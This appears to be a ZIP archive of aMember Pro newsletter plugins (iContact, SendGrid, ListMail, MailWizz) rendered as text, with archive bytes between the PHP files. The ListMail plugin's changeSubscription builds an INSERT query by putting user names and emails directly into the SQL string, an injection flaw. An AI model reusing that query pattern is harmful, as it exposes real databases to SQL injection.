no way to re-subscribe to the same list! This module allows aMember Pro users to subscribe/unsubscribe from e-mail lists created in iContact Email Marketing. To configure the module: - register and autorize to https://www.icontact.com/ - register your application - insert into aMember iContact plugin settings (this page) next data: User API-AppId API-Pass Account ID Client Folder ID - click "Save" - go to aMember CP -> Protect Content -> Newsletters, you will be able to define who and how can subscribe to your iContact lists. You can create lists after autorize in https://www.icontact.com/ ("Contacts" tab -> "Create a List" link) CUT; } /*###for better days // flag $add - need for create new contact without check // It's necessary after deleting of contact protected function addSubscribe(User $user, array $addLists, $add = false) { if (!empty($addLists)) { $api = $this->getApi(); if (!$add) { $contactId = $api->getContactId($user->email); } if (empty($contactId)) { $post = array( array( 'email' => $user->email, 'firstName' => $user->name_f, 'lastName' => $user->name_l, 'status' => 'normal' ) ); $contactId = $api->addContactAndGetContactId($post); } $post = array(); foreach ($addLists as $listId) { $post[] = array( 'contactId' => $contactId, 'listId' => $listId, 'status' => 'normal' ); } $api->addSubscription($post); } } // Unsubscribe status can not be set, because it does not get re-subscribe (server bug?) // After delete contact and register with same email contact will be has the same contactId and it does not get re-subscribe // Unsubscribing is carried out in several stages: // 1. Check contactId, if it's absent - it's all ok // 2. Update current contact: change email on standart, prepere for deleting its // 3. Delete contact with standart email // It's necessary to contact the registration of the same name to get a new contactId // If it's just change user email ($allDel=true) - it's all ok // 4. Get all current listsId into array // 5. Delete listsId, which is necessary // 6. Subscribe to the remaining lists, it will be created contact protected function delSubscribe(User $user, array $deleteLists, $allDel = false) { if (!empty($deleteLists)) { $api = $this->getApi(); $contactId = $api->getContactId($user->email); if (!empty($contactId)) { $api->updateContact($contactId); $api->delContact($contactId); if (!$allDel) { $currentListsId = $this->getCurrentListsId($user); $newListsId = array_diff($currentListsId, $deleteLists); $this->addSubscribe($user, $newListsId, true); } } } } */ } class Am_Icontact_Api extends Am_HttpRequest { protected $urlTest = "https://app.sandbox.icontact.com"; protected $urlWork = "https://app.icontact.com"; protected $debugLog; protected $link = ""; public function __construct(Am_Newsletter_Plugin_Icontact $plugin) { parent::__construct(); if ($plugin->getConfig('testmode')) { $this->setLink($this->urlTest . '/icp/a/' . $plugin->getConfig('accountid') . '/c/' . $plugin->getConfig('clientfolderid')); } else { $this->setLink($this->urlWork . '/icp/a/' . $plugin->getConfig('accountid') . '/c/' . $plugin->getConfig('clientfolderid')); } $this->debugLog = $plugin->getConfig('debuglog'); $this->setHeader( array( 'Accept: application/json', 'Content-Type: application/json', 'Api-Version: 2.0', 'Api-Username: ' . $plugin->getConfig('user'), 'Api-AppId: ' . $plugin->getConfig('apiappid'), 'Api-Password: ' . $plugin->getConfig('apipass'), ) ); } protected function setLink($link) { $this->link = $link; } protected function getLink() { return $this->link; } protected function callResource($url, $method = 'GET', $data = null) { $r_log = "url=$url; method=$method"; $this->setUrl($this->getLink() . $url); switch ($method) { case 'GET': $this->setMethod(self::METHOD_GET); break; case 'POST': $this->setMethod(self::METHOD_POST); $this->setBody(json_encode($data)); $r_log .= "; data=" . json_encode($data); break; case 'PUT': $this->setMethod(self::METHOD_PUT); $this->setBody(fopen($data, 'r')); break; case 'DELETE': $this->setMethod(self::METHOD_DELETE); $this->setAdapter('socket'); // curl is not worked break; } $response = parent::send(); if ($response->getStatus() != '200') { throw new Am_Exception_InternalError("Icontact API Error. Request status is not OK: " . $response->getStatus() . ". [$r_log]"); } $body = $response->getBody(); $result = json_decode($body, true); if ($this->debugLog) { Am_Di::getInstance()->errorLogTable->log("Icontact-debug. REQUEST: $r_log. RESPONSE: $body."); } if (!empty($result['warnings'])) { throw new Am_Exception_InternalError("Icontact API Error. Response has " . count($result['warnings']) . " warning(s): " . implode(";", $result['warnings']) . ". [$r_log]"); } return $result; } public function getLists() { $res = $this->callResource('/lists/'); $lists = array(); foreach ($res['lists'] as $list) { $lists[$list['listId']] = array( 'title' => $list['name'], ); } return $lists; } public function getContactId($email) { $res = $this->callResource('/contacts/?email=' . URLEncode($email)); $contactId = null; if (!empty($res['contacts'][0]['contactId'])) { $contactId = $res['contacts'][0]['contactId']; } return $contactId; } public function addContactAndGetContactId($data) { $res = $this->callResource('/contacts/', 'POST', $data); if (empty($res['contacts'][0]['contactId'])) { throw new Am_Exception_InternalError("Icontact API Error. Response has no contactId."); } return $res['contacts'][0]['contactId']; } public function addSubscription($data) { $res = $this->callResource('/subscriptions/', 'POST', $data); if (empty($res['subscriptions'][0]['listId'])) { throw new Am_Exception_InternalError("Icontact API Error. Response has no listsId of subscriptions."); } } /*###for better days public function delContact($contactId) { $res = $this->callResource('/contacts/' . $contactId, 'DELETE'); if (!empty($res)) { throw new Am_Exception_InternalError("Icontact API Error. Error removing contact."); } } public function updateContact($contactId) { $post = array( array( 'contactId' => $contactId, 'email' => 'prepare@delete.contact.from.list.com', 'firstName' => "", 'lastName' => "", 'status' => 'normal' ) ); $res = $this->callResource('/contacts/', 'POST', $post); if (empty($res['contacts'][0]['contactId'])) { throw new Am_Exception_InternalError("Icontact API Error. Update failed."); } } */ }PKq\:O} } sendgrid.phpnu[addText('api_user')->setLabel('SendGrid API User'."\nThis is the same credential used for your SMTP settings, and for logging into the website."); $el = $form->addPassword('api_key', array('size' => 40))->setLabel('SendGrid API Key'. "\n This is the same password to authenticate over SMTP, and for logging into the website."); $el->addRule('required'); } function isConfigured() { return $this->getConfig('api_user') && $this->getConfig('api_key'); } function getAPI() { return new Am_Sendgrid_Api($this); } public function getLists() { $api = $this->getApi(); $ret = array(); $lists = $api->sendRequest('lists/get'); foreach ($lists as $l) $ret[$l['list']] = array( 'title' => $l['list'], ); return $ret; } public function changeSubscription(User $user, array $addLists, array $deleteLists) { $api = $this->getApi(); foreach ($addLists as $list_id) { $ret = $api->sendRequest('lists/email/add', array( 'list' => $list_id, 'data' => json_encode(array( 'email' =>$user->email, 'name' =>$user->getName() )) )); // if (!@$ret['inserted']) return false; } foreach ($deleteLists as $list_id) { $ret = $api->sendRequest('lists/email/delete', array( 'list' => $list_id, 'email' => $user->email )); // if (!@$ret['removed']) return false; } return true; } } class Am_Sendgrid_Api extends Am_HttpRequest { /** @var Am_Newsletter_Plugin_Sendgrid */ protected $plugin; protected $vars = array(); // url params protected $params = array(); // request params\ const API_URL = 'https://api.sendgrid.com/api/newsletter/'; public function __construct(Am_Newsletter_Plugin_Sendgrid $plugin) { $this->plugin = $plugin; parent::__construct(); $this->setMethod(self::METHOD_POST); } public function sendRequest($method, $params=array()) { $this->vars = $params; $this->vars['api_key'] = $this->plugin->getConfig('api_key'); $this->vars['api_user'] = $this->plugin->getConfig('api_user'); $this->setUrl(self::API_URL . '/'.$method.'.json'); foreach($this->vars as $k=>$v){ $this->addPostParameter($k, $v); } $ret = parent::send(); if ($ret->getStatus() != '200') { throw new Am_Exception_InternalError("SendGrid API Error:".$ret->getBody()); } $body = $ret->getBody(); if(!$body) return array(); $arr = json_decode($body, true); if (!$arr) throw new Am_Exception_InternalError("SendGrid API Error - unknown response [" . $ret->getBody() . "]"); if(@$arr['message']=='error') { Am_Di::getInstance()->errorLogTable->log("Sendgrid API Error - [" . implode(', ', $arr['errors']) ."]"); return false; } return $arr; } }PKq\]B listmail.phpnu[addGroup()->setLabel("ListMail Board Db and Prefix\n" . "database name (if other database) plus ListMail\n" . "tables prefix, like listmail.lm_\n" . "here listmail in database listmail and tables prefix is lm_\n" . "after change click SAVE twice"); $group->addText("db", array('class'=>'db-prefix'))->addRule('required'); $group->addText("prefix", array('class'=>'db-prefix')); $group->addRule('callback2', '-error-', array($this, 'validateListmailDb')); $form->addSelect('expired_list') ->setLabel("ListMail Expired List\n" . 'Add expired members to the following list') ->loadOptions($this->getListmailGroups()); if (!$this->isConfigured()) $form->addScript()->setScript('jQuery(function($){ jQuery("#expired_list-0").attr("disabled", true); })'); } public function validateListmailDb($db) { $lmDb = join('.',$db); $res = null; try { $count = Am_Di::getInstance()->db->selectCell(" SELECT COUNT(*) FROM {$lmDb}users "); } catch (Am_Exception_Db $e) { if (($e->getCode() == 1142) && (preg_match("/SELECT command denied to user: '(.+?)@.+' for table '(.+?)'/", $e->getDbMessage(), $regs))) { $res = "Please go to webhosting control panel and allow access for user [$regs[1]] to database [$db[0]]
    ". $e->getDbMessage(); } } if (!$count && !$res) $res = "Wrong ListMail Board Db and Prefix
    " . $e->getDbMessage(); return $res; } private function getListmailGroups() { $res = array('' => '*** No integration ***'); if (($db = $this->getConfig('db'))) { $lmDb = $db . '.' . $this->getConfig('prefix'); foreach (Am_Di::getInstance()->db->query("SELECT listnum, title FROM {$lmDb}lists") as $list) { $res[$list['listnum']] = $list['title']; } } return $res; } public function isConfigured() { return $this->getConfig('db') != ''; } public function changeSubscription(User $user, array $addLists, array $deleteLists) { $lmDb = $this->getConfig('db') . '.' . $this->getConfig('prefix'); if (!empty($addLists)) { $data = array(); if ($this->getConfig('expired_list')) { Am_Di::getInstance()->db->query(" DELETE FROM {$lmDb}users WHERE email = ? AND list = ?d ", $user->email, $this->getConfig('expired_list')); } foreach ($addLists as $list) { $us = $this->_getUniqUid(); $d = sqlDate(time()); $data[] = "('$us', $list, '$user->name_f', '$user->name_l', '$user->email', 1, 0, 1, '$d', 1)"; } Am_Di::getInstance()->db->query(" INSERT INTO {$lmDb}users (uid,list,fname,lname,email,cseq,cdel,cnf,dateadd,htmail) VALUES " . join(',', $data)); } if (!empty($deleteLists)) Am_Di::getInstance()->db->query(" DELETE FROM {$lmDb}users WHERE email=? AND list = ?a ", $user->email, $deleteLists); return true; } public function changeEmail(User $user, $oldEmail, $newEmail) { $lmDb = $this->getConfig('db') . '.' . $this->getConfig('prefix'); Am_Di::getInstance()->db->query(" UPDATE {$lmDb}users SET email = ? WHERE email = ? ", $newEmail, $oldEmail); } public function onSubscriptionDeleted(Am_Event_SubscriptionDeleted $event) { if(!$this->getConfig('expired_list')) return; $user = $event->getUser(); $lmDb = $this->getConfig('db') . '.' . $this->getConfig('prefix'); Am_Di::getInstance()->db->query(" INSERT INTO {$lmDb}users (uid,list,fname,lname,email,cseq,cdel,cnf,dateadd,htmail) VALUES (?,?,?,?,?, 1, 0, 1, ?, 1) " , $this->_getUniqUid(), $this->getConfig('expired_list'), $user->name_f, $user->name_l, $user->email, sqlDate(time())); } private function _getUniqUid() { $lmDb = $this->getConfig('db') . '.' . $this->getConfig('prefix'); do { $us = strtolower(substr(md5(rand()), 0, 7)); $c = Am_Di::getInstance()->db->selectCell("SELECT COUNT(*) FROM {$lmDb}users WHERE uid=?", $us); } while ($c); return $us; } public function getLists() { $lmDb = $this->getConfig('db') . '.' . $this->getConfig('prefix'); $res = array(); foreach (Am_Di::getInstance()->db->select("SELECT listnum, title FROM {$lmDb}lists") as $list) { $res[$list['listnum']] = array('title' => $list['title']); } return $res; } public function getReadme() { return <<List Mail Pro plugin readme This plugin allows aMember Pro users to subscribe/unsubscribe from e-mail lists created in ListMailPro. 1. Configure the plugin at 'aMember CP -> Setup/Configuration -> Mail List Pro' 2. Go to 'aMember CP -> Protect Content -> Newsletters', you will be able to define who and how can subscribe to your MailListPro lists. CUT; } } ?>PKq\C {mailwizz/MailWizzApi/Config.phpnu[ * @link http://www.mailwizz.com/ * @copyright 2013-2015 http://www.mailwizz.com/ */ /** * MailWizzApi_Config contains the configuration class that is injected at runtime into the main application. * * It's only purpose is to set the needed data so that the API calls will run without problems. * * @author Serban George Cristian * @package MailWizzApi * @since 1.0 */ class MailWizzApi_Config extends MailWizzApi_Base { /** * @var string the api public key */ public $publicKey; /** * @var string the api private key. */ public $privateKey; /** * @var string the preffered charset. */ public $charset = 'utf-8'; /** * @var string the API url. */ private $_apiUrl; /** * Constructor * @param array the config array that will populate the class properties. */ public function __construct(array $config = array()) { $this->populateFromArray($config); } /** * Setter for the API url. * * Please note, this url should NOT contain any endpoint, * just the base url to the API. * * Also, a basic url check is done, but you need to make sure the url is valid. * * @param mixed $url * @return MailWizzApi_Config */ public function setApiUrl($url) { if (!parse_url($url, PHP_URL_HOST)) { throw new Exception('Please set a valid api base url.'); } $this->_apiUrl = trim($url, '/') . '/'; return $this; } /** * Getter for the API url. * * Also, you can use the $endpoint param to point the request to a certain endpoint. * * @param string $endpoint * @return string */ public function getApiUrl($endpoint = null) { if ($this->_apiUrl === null) { throw new Exception('Please set the api base url.'); } return $this->_apiUrl . $endpoint; } }PKq\zz[[mailwizz/MailWizzApi/Json.phpnu[ * @author Matt Knapp * @author Brett Stimmerman * @copyright 2005 Michal Migurski * @license http://www.opensource.org/licenses/bsd-license.php * @link http://pear.php.net/pepr/pepr-proposal-show.php?id=198 */ /** * CJSON converts PHP data to and from JSON format. * * @author Michal Migurski * @author Matt Knapp * @author Brett Stimmerman * @package system.web.helpers * @since 1.0 */ /** * MailWizzApi_Json converts PHP data to and from JSON format. * * @author Michal Migurski * @author Matt Knapp * @author Brett Stimmerman * * @package MailWizzApi * @since 1.0 */ class MailWizzApi_Json { /** * Marker constant for JSON::decode(), used to flag stack state */ const JSON_SLICE = 1; /** * Marker constant for JSON::decode(), used to flag stack state */ const JSON_IN_STR = 2; /** * Marker constant for JSON::decode(), used to flag stack state */ const JSON_IN_ARR = 4; /** * Marker constant for JSON::decode(), used to flag stack state */ const JSON_IN_OBJ = 8; /** * Marker constant for JSON::decode(), used to flag stack state */ const JSON_IN_CMT = 16; /** * Encodes an arbitrary variable into JSON format * * @param mixed $var any number, boolean, string, array, or object to be encoded. * If var is a string, it will be converted to UTF-8 format first before being encoded. * @return string JSON string representation of input var */ public static function encode($var) { switch (gettype($var)) { case 'boolean': return $var ? 'true' : 'false'; case 'NULL': return 'null'; case 'integer': return (int) $var; case 'double': case 'float': return str_replace(',','.',(float)$var); // locale-independent representation case 'string': $charset = 'utf-8'; if (($config = MailWizzApi_Base::getConfig())) { $charset = $config->charset; } if (($enc=strtoupper($charset))!=='UTF-8') $var=iconv($enc, 'UTF-8', $var); if(function_exists('json_encode')) return json_encode($var); // STRINGS ARE EXPECTED TO BE IN ASCII OR UTF-8 FORMAT $ascii = ''; $strlen_var = strlen($var); /* * Iterate over every character in the string, * escaping with a slash or encoding to UTF-8 where necessary */ for ($c = 0; $c < $strlen_var; ++$c) { $ord_var_c = ord($var{$c}); switch (true) { case $ord_var_c == 0x08: $ascii .= '\b'; break; case $ord_var_c == 0x09: $ascii .= '\t'; break; case $ord_var_c == 0x0A: $ascii .= '\n'; break; case $ord_var_c == 0x0C: $ascii .= '\f'; break; case $ord_var_c == 0x0D: $ascii .= '\r'; break; case $ord_var_c == 0x22: case $ord_var_c == 0x2F: case $ord_var_c == 0x5C: // double quote, slash, slosh $ascii .= '\\'.$var{$c}; break; case (($ord_var_c >= 0x20) && ($ord_var_c <= 0x7F)): // characters U-00000000 - U-0000007F (same as ASCII) $ascii .= $var{$c}; break; case (($ord_var_c & 0xE0) == 0xC0): // characters U-00000080 - U-000007FF, mask 110XXXXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $char = pack('C*', $ord_var_c, ord($var{$c+1})); $c+=1; $utf16 = self::utf8ToUTF16BE($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; case (($ord_var_c & 0xF0) == 0xE0): // characters U-00000800 - U-0000FFFF, mask 1110XXXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $char = pack('C*', $ord_var_c, ord($var{$c+1}), ord($var{$c+2})); $c+=2; $utf16 = self::utf8ToUTF16BE($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; case (($ord_var_c & 0xF8) == 0xF0): // characters U-00010000 - U-001FFFFF, mask 11110XXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $char = pack('C*', $ord_var_c, ord($var{$c+1}), ord($var{$c+2}), ord($var{$c+3})); $c+=3; $utf16 = self::utf8ToUTF16BE($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; case (($ord_var_c & 0xFC) == 0xF8): // characters U-00200000 - U-03FFFFFF, mask 111110XX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $char = pack('C*', $ord_var_c, ord($var{$c+1}), ord($var{$c+2}), ord($var{$c+3}), ord($var{$c+4})); $c+=4; $utf16 = self::utf8ToUTF16BE($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; case (($ord_var_c & 0xFE) == 0xFC): // characters U-04000000 - U-7FFFFFFF, mask 1111110X // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $char = pack('C*', $ord_var_c, ord($var{$c+1}), ord($var{$c+2}), ord($var{$c+3}), ord($var{$c+4}), ord($var{$c+5})); $c+=5; $utf16 = self::utf8ToUTF16BE($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; } } return '"'.$ascii.'"'; case 'array': /* * As per JSON spec if any array key is not an integer * we must treat the the whole array as an object. We * also try to catch a sparsely populated associative * array with numeric keys here because some JS engines * will create an array with empty indexes up to * max_index which can cause memory issues and because * the keys, which may be relevant, will be remapped * otherwise. * * As per the ECMA and JSON specification an object may * have any string as a property. Unfortunately due to * a hole in the ECMA specification if the key is a * ECMA reserved word or starts with a digit the * parameter is only accessible using ECMAScript's * bracket notation. */ // treat as a JSON object if (is_array($var) && count($var) && (array_keys($var) !== range(0, sizeof($var) - 1))) { return '{' . join(',', array_map(array('MailWizzApi_Json', 'nameValue'), array_keys($var), array_values($var))) . '}'; } // treat it like a regular array return '[' . join(',', array_map(array('MailWizzApi_Json', 'encode'), $var)) . ']'; case 'object': if ($var instanceof Traversable) { $vars = array(); foreach ($var as $k=>$v) $vars[$k] = $v; } else $vars = get_object_vars($var); return '{' . join(',', array_map(array('MailWizzApi_Json', 'nameValue'), array_keys($vars), array_values($vars))) . '}'; default: return ''; } } /** * array-walking function for use in generating JSON-formatted name-value pairs * * @param string $name name of key to use * @param mixed $value reference to an array element to be encoded * * @return string JSON-formatted name-value pair, like '"name":value' * @access private */ protected static function nameValue($name, $value) { return self::encode(strval($name)) . ':' . self::encode($value); } /** * reduce a string by removing leading and trailing comments and whitespace * * @param string $str string value to strip of comments and whitespace * * @return string string value stripped of comments and whitespace * @access private */ protected static function reduceString($str) { $str = preg_replace(array( // eliminate single line comments in '// ...' form '#^\s*//(.+)$#m', // eliminate multi-line comments in '/* ... */' form, at start of string '#^\s*/\*(.+)\*/#Us', // eliminate multi-line comments in '/* ... */' form, at end of string '#/\*(.+)\*/\s*$#Us' ), '', $str); // eliminate extraneous space return trim($str); } /** * decodes a JSON string into appropriate variable * * @param string $str JSON-formatted string * @param boolean $useArray whether to use associative array to represent object data * @return mixed number, boolean, string, array, or object corresponding to given JSON input string. * Note that decode() always returns strings in ASCII or UTF-8 format! * @access public */ public static function decode($str, $useArray=true) { if(function_exists('json_decode')) { $json = json_decode($str,$useArray); // based on investigation, native fails sometimes returning null. // see: http://gggeek.altervista.org/sw/article_20070425.html // As of PHP 5.3.6 it still fails on some valid JSON strings if($json !== null) return $json; } $str = self::reduceString($str); switch (strtolower($str)) { case 'true': return true; case 'false': return false; case 'null': return null; default: if (is_numeric($str)) { // Lookie-loo, it's a number // This would work on its own, but I'm trying to be // good about returning integers where appropriate: // return (float)$str; // Return float or int, as appropriate return ((float)$str == (integer)$str) ? (integer)$str : (float)$str; } elseif (preg_match('/^("|\').+(\1)$/s', $str, $m) && $m[1] == $m[2]) { // STRINGS RETURNED IN UTF-8 FORMAT $delim = substr($str, 0, 1); $chrs = substr($str, 1, -1); $utf8 = ''; $strlen_chrs = strlen($chrs); for ($c = 0; $c < $strlen_chrs; ++$c) { $substr_chrs_c_2 = substr($chrs, $c, 2); $ord_chrs_c = ord($chrs{$c}); switch (true) { case $substr_chrs_c_2 == '\b': $utf8 .= chr(0x08); ++$c; break; case $substr_chrs_c_2 == '\t': $utf8 .= chr(0x09); ++$c; break; case $substr_chrs_c_2 == '\n': $utf8 .= chr(0x0A); ++$c; break; case $substr_chrs_c_2 == '\f': $utf8 .= chr(0x0C); ++$c; break; case $substr_chrs_c_2 == '\r': $utf8 .= chr(0x0D); ++$c; break; case $substr_chrs_c_2 == '\\"': case $substr_chrs_c_2 == '\\\'': case $substr_chrs_c_2 == '\\\\': case $substr_chrs_c_2 == '\\/': if (($delim == '"' && $substr_chrs_c_2 != '\\\'') || ($delim == "'" && $substr_chrs_c_2 != '\\"')) { $utf8 .= $chrs{++$c}; } break; case preg_match('/\\\u[0-9A-F]{4}/i', substr($chrs, $c, 6)): // single, escaped unicode character $utf16 = chr(hexdec(substr($chrs, ($c+2), 2))) . chr(hexdec(substr($chrs, ($c+4), 2))); $utf8 .= self::utf16beToUTF8($utf16); $c+=5; break; case ($ord_chrs_c >= 0x20) && ($ord_chrs_c <= 0x7F): $utf8 .= $chrs{$c}; break; case ($ord_chrs_c & 0xE0) == 0xC0: // characters U-00000080 - U-000007FF, mask 110XXXXX //see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= substr($chrs, $c, 2); ++$c; break; case ($ord_chrs_c & 0xF0) == 0xE0: // characters U-00000800 - U-0000FFFF, mask 1110XXXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= substr($chrs, $c, 3); $c += 2; break; case ($ord_chrs_c & 0xF8) == 0xF0: // characters U-00010000 - U-001FFFFF, mask 11110XXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= substr($chrs, $c, 4); $c += 3; break; case ($ord_chrs_c & 0xFC) == 0xF8: // characters U-00200000 - U-03FFFFFF, mask 111110XX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= substr($chrs, $c, 5); $c += 4; break; case ($ord_chrs_c & 0xFE) == 0xFC: // characters U-04000000 - U-7FFFFFFF, mask 1111110X // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= substr($chrs, $c, 6); $c += 5; break; } } return $utf8; } elseif (preg_match('/^\[.*\]$/s', $str) || preg_match('/^\{.*\}$/s', $str)) { // array, or object notation if ($str{0} == '[') { $stk = array(self::JSON_IN_ARR); $arr = array(); } else { if ($useArray) { $stk = array(self::JSON_IN_OBJ); $obj = array(); } else { $stk = array(self::JSON_IN_OBJ); $obj = new stdClass(); } } $stk[] = array('what' => self::JSON_SLICE, 'where' => 0, 'delim' => false); $chrs = substr($str, 1, -1); $chrs = self::reduceString($chrs); if ($chrs == '') { if (reset($stk) == self::JSON_IN_ARR) { return $arr; } else { return $obj; } } //print("\nparsing {$chrs}\n"); $strlen_chrs = strlen($chrs); for ($c = 0; $c <= $strlen_chrs; ++$c) { $top = end($stk); $substr_chrs_c_2 = substr($chrs, $c, 2); if (($c == $strlen_chrs) || (($chrs{$c} == ',') && ($top['what'] == self::JSON_SLICE))) { // found a comma that is not inside a string, array, etc., // OR we've reached the end of the character list $slice = substr($chrs, $top['where'], ($c - $top['where'])); $stk[] = array('what' => self::JSON_SLICE, 'where' => ($c + 1), 'delim' => false); //print("Found split at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n"); if (reset($stk) == self::JSON_IN_ARR) { // we are in an array, so just push an element onto the stack $arr[] = self::decode($slice,$useArray); } elseif (reset($stk) == self::JSON_IN_OBJ) { // we are in an object, so figure // out the property name and set an // element in an associative array, // for now if (preg_match('/^\s*(["\'].*[^\\\]["\'])\s*:\s*(\S.*),?$/Uis', $slice, $parts)) { // "name":value pair $key = self::decode($parts[1],$useArray); $val = self::decode($parts[2],$useArray); if ($useArray) { $obj[$key] = $val; } else { $obj->$key = $val; } } elseif (preg_match('/^\s*(\w+)\s*:\s*(\S.*),?$/Uis', $slice, $parts)) { // name:value pair, where name is unquoted $key = $parts[1]; $val = self::decode($parts[2],$useArray); if ($useArray) { $obj[$key] = $val; } else { $obj->$key = $val; } } } } elseif ((($chrs{$c} == '"') || ($chrs{$c} == "'")) && ($top['what'] != self::JSON_IN_STR)) { // found a quote, and we are not inside a string $stk[] = array('what' => self::JSON_IN_STR, 'where' => $c, 'delim' => $chrs{$c}); //print("Found start of string at {$c}\n"); } elseif (($chrs{$c} == $top['delim']) && ($top['what'] == self::JSON_IN_STR) && (($chrs{$c - 1} != "\\") || ($chrs{$c - 1} == "\\" && $chrs{$c - 2} == "\\"))) { // found a quote, we're in a string, and it's not escaped array_pop($stk); //print("Found end of string at {$c}: ".substr($chrs, $top['where'], (1 + 1 + $c - $top['where']))."\n"); } elseif (($chrs{$c} == '[') && in_array($top['what'], array(self::JSON_SLICE, self::JSON_IN_ARR, self::JSON_IN_OBJ))) { // found a left-bracket, and we are in an array, object, or slice $stk[] = array('what' => self::JSON_IN_ARR, 'where' => $c, 'delim' => false); //print("Found start of array at {$c}\n"); } elseif (($chrs{$c} == ']') && ($top['what'] == self::JSON_IN_ARR)) { // found a right-bracket, and we're in an array array_pop($stk); //print("Found end of array at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n"); } elseif (($chrs{$c} == '{') && in_array($top['what'], array(self::JSON_SLICE, self::JSON_IN_ARR, self::JSON_IN_OBJ))) { // found a left-brace, and we are in an array, object, or slice $stk[] = array('what' => self::JSON_IN_OBJ, 'where' => $c, 'delim' => false); //print("Found start of object at {$c}\n"); } elseif (($chrs{$c} == '}') && ($top['what'] == self::JSON_IN_OBJ)) { // found a right-brace, and we're in an object array_pop($stk); //print("Found end of object at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n"); } elseif (($substr_chrs_c_2 == '/*') && in_array($top['what'], array(self::JSON_SLICE, self::JSON_IN_ARR, self::JSON_IN_OBJ))) { // found a comment start, and we are in an array, object, or slice $stk[] = array('what' => self::JSON_IN_CMT, 'where' => $c, 'delim' => false); $c++; //print("Found start of comment at {$c}\n"); } elseif (($substr_chrs_c_2 == '*/') && ($top['what'] == self::JSON_IN_CMT)) { // found a comment end, and we're in one now array_pop($stk); $c++; for ($i = $top['where']; $i <= $c; ++$i) $chrs = substr_replace($chrs, ' ', $i, 1); //print("Found end of comment at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n"); } } if (reset($stk) == self::JSON_IN_ARR) { return $arr; } elseif (reset($stk) == self::JSON_IN_OBJ) { return $obj; } } } } /** * This function returns any UTF-8 encoded text as a list of * Unicode values: * @param string $str string to convert * @return string * @author Scott Michael Reynen * @link http://www.randomchaos.com/document.php?source=php_and_unicode * @see unicodeToUTF8() */ protected static function utf8ToUnicode( &$str ) { $unicode = array(); $values = array(); $lookingFor = 1; for ($i = 0; $i < strlen( $str ); $i++ ) { $thisValue = ord( $str[ $i ] ); if ( $thisValue < 128 ) $unicode[] = $thisValue; else { if ( count( $values ) == 0 ) $lookingFor = ( $thisValue < 224 ) ? 2 : 3; $values[] = $thisValue; if ( count( $values ) == $lookingFor ) { $number = ( $lookingFor == 3 ) ? ( ( $values[0] % 16 ) * 4096 ) + ( ( $values[1] % 64 ) * 64 ) + ( $values[2] % 64 ): ( ( $values[0] % 32 ) * 64 ) + ( $values[1] % 64 ); $unicode[] = $number; $values = array(); $lookingFor = 1; } } } return $unicode; } /** * This function converts a Unicode array back to its UTF-8 representation * @param string $str string to convert * @return string * @author Scott Michael Reynen * @link http://www.randomchaos.com/document.php?source=php_and_unicode * @see utf8ToUnicode() */ protected static function unicodeToUTF8( &$str ) { $utf8 = ''; foreach( $str as $unicode ) { if ( $unicode < 128 ) { $utf8.= chr( $unicode ); } elseif ( $unicode < 2048 ) { $utf8.= chr( 192 + ( ( $unicode - ( $unicode % 64 ) ) / 64 ) ); $utf8.= chr( 128 + ( $unicode % 64 ) ); } else { $utf8.= chr( 224 + ( ( $unicode - ( $unicode % 4096 ) ) / 4096 ) ); $utf8.= chr( 128 + ( ( ( $unicode % 4096 ) - ( $unicode % 64 ) ) / 64 ) ); $utf8.= chr( 128 + ( $unicode % 64 ) ); } } return $utf8; } /** * UTF-8 to UTF-16BE conversion. * * Maybe really UCS-2 without mb_string due to utf8ToUnicode limits * @param string $str string to convert * @param boolean $bom whether to output BOM header * @return string */ protected static function utf8ToUTF16BE(&$str, $bom = false) { $out = $bom ? "\xFE\xFF" : ''; if(function_exists('mb_convert_encoding')) return $out.mb_convert_encoding($str,'UTF-16BE','UTF-8'); $uni = self::utf8ToUnicode($str); foreach($uni as $cp) $out .= pack('n',$cp); return $out; } /** * UTF-8 to UTF-16BE conversion. * * Maybe really UCS-2 without mb_string due to utf8ToUnicode limits * @param string $str string to convert * @return string */ protected static function utf16beToUTF8(&$str) { $uni = unpack('n*',$str); return self::unicodeToUTF8($uni); } } PKq\7  #mailwizz/MailWizzApi/Autoloader.phpnu[ * @link http://www.mailwizz.com/ * @copyright 2013-2015 http://www.mailwizz.com/ */ /** * The MailWizzApi Autoloader class. * * From within a Yii Application, you would load this as: * *
     * require_once(Yii::getPathOfAlias('application.vendors.MailWizzApi.Autoloader').'.php');
     * Yii::registerAutoloader(array('MailWizzApi_Autoloader', 'autoloader'), true);
     * 
    * * Alternatively you can: *
     * require_once('Path/To/MailWizzApi/Autoloader.php');
     * MailWizzApi_Autoloader::register();
     * 
